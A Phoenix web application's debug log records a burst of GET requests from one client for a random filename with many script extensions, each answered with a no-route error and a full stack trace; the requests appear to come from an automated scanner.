[Thu Sep  3 07:51:39.031000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:53090] ** (Phoenix.Router.NoRouteError) no route found for GET /jJS2gFt_drWZ.pl (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 07:51:40.683000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:53100] GET /jJS2gFt_drWZ.inc
[Thu Sep  3 07:51:40.697000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:53100] ** (Phoenix.Router.NoRouteError) no route found for GET /jJS2gFt_drWZ.inc (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 07:51:42.255000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:53110] GET /jJS2gFt_drWZ.shtml
[Thu Sep  3 07:51:42.284000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:53110] ** (Phoenix.Router.NoRouteError) no route found for GET /jJS2gFt_drWZ.shtml (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 07:51:42.920000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:53114] GET /jJS2gFt_drWZ.asp
[Thu Sep  3 07:51:42.956000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:53114] ** (Phoenix.Router.NoRouteError) no route found for GET /jJS2gFt_drWZ.asp (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 07:51:43.655000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:35538] GET /jJS2gFt_drWZ.php
[Thu Sep  3 07:51:43.679000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:35538] ** (Phoenix.Router.NoRouteError) no route found for GET /jJS2gFt_drWZ.php (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 07:51:45.399000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:35542] GET /jJS2gFt_drWZ.php3
[Thu Sep  3 07:51:45.425000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:35542] ** (Phoenix.Router.NoRouteError) no route found for GET /jJS2gFt_drWZ.php3 (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 07:51:46.041000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:35550] GET /jJS2gFt_drWZ.cfm
[Thu Sep  3 07:51:46.075000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:35550] ** (Phoenix.Router.NoRouteError) no route found for GET /jJS2gFt_drWZ.cfm (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 07:51:46.664000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:35554] GET /cgi-bin/jJS2gFt_drWZ.html
[Thu Sep  3 07:51:46.686000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:35554] ** (Phoenix.Router.NoRouteError) no route found for GET /cgi-bin/jJS2gFt_drWZ.html (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 07:51:47.347000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:35564] GET /cgi-bin/jJS2gFt_drWZ.cgi
[Thu Sep  3 07:51:47.365000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:35564] ** (Phoenix.Router.NoRouteError) no route found for GET /cgi-bin/jJS2gFt_drWZ.cgi (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 07:51:47.977000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:35566] GET /cgi-bin/jJS2gFt_drWZ.sh
[Thu Sep  3 07:51:48.016000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:35566] ** (Phoenix.Router.NoRouteError) no route found for GET /cgi-bin/jJS2gFt_drWZ.sh (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 07:51:48.915000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:35580] GET /cgi-bin/jJS2gFt_drWZ.pl
[Thu Sep  3 07:51:48.968000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:35580] ** (Phoenix.Router.NoRouteError) no route found for GET /cgi-bin/jJS2gFt_drWZ.pl (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 07:51:49.634000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:35582] GET /cgi-bin/jJS2gFt_drWZ.inc
[Thu Sep  3 07:51:49.655000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:35582] ** (Phoenix.Router.NoRouteError) no route found for GET /cgi-bin/jJS2gFt_drWZ.inc (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 07:51:50.305000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:35598] GET /cgi-bin/jJS2gFt_drWZ.shtml
[Thu Sep  3 07:51:50.325000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:35598] ** (Phoenix.Router.NoRouteError) no route found for GET /cgi-bin/jJS2gFt_drWZ.shtml (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 07:51:50.994000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:35612] GET /cgi-bin/jJS2gFt_drWZ.asp
[Thu Sep  3 07:51:51.014000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:35612] ** (Phoenix.Router.NoRouteError) no route found for GET /cgi-bin/jJS2gFt_drWZ.asp (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 07:51:51.625000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:35626] GET /cgi-bin/jJS2gFt_drWZ.php
[Thu Sep  3 07:51:51.667000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:35626] ** (Phoenix.Router.NoRouteError) no route found for GET /cgi-bin/jJS2gFt_drWZ.php (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 07:51:52.255000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:35630] GET /cgi-bin/jJS2gFt_drWZ.php3
[Thu Sep  3 07:51:52.287000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:35630] ** (Phoenix.Router.NoRouteError) no route found for GET /cgi-bin/jJS2gFt_drWZ.php3 (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 07:51:52.908000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:35646] GET /cgi-bin/jJS2gFt_drWZ.cfm
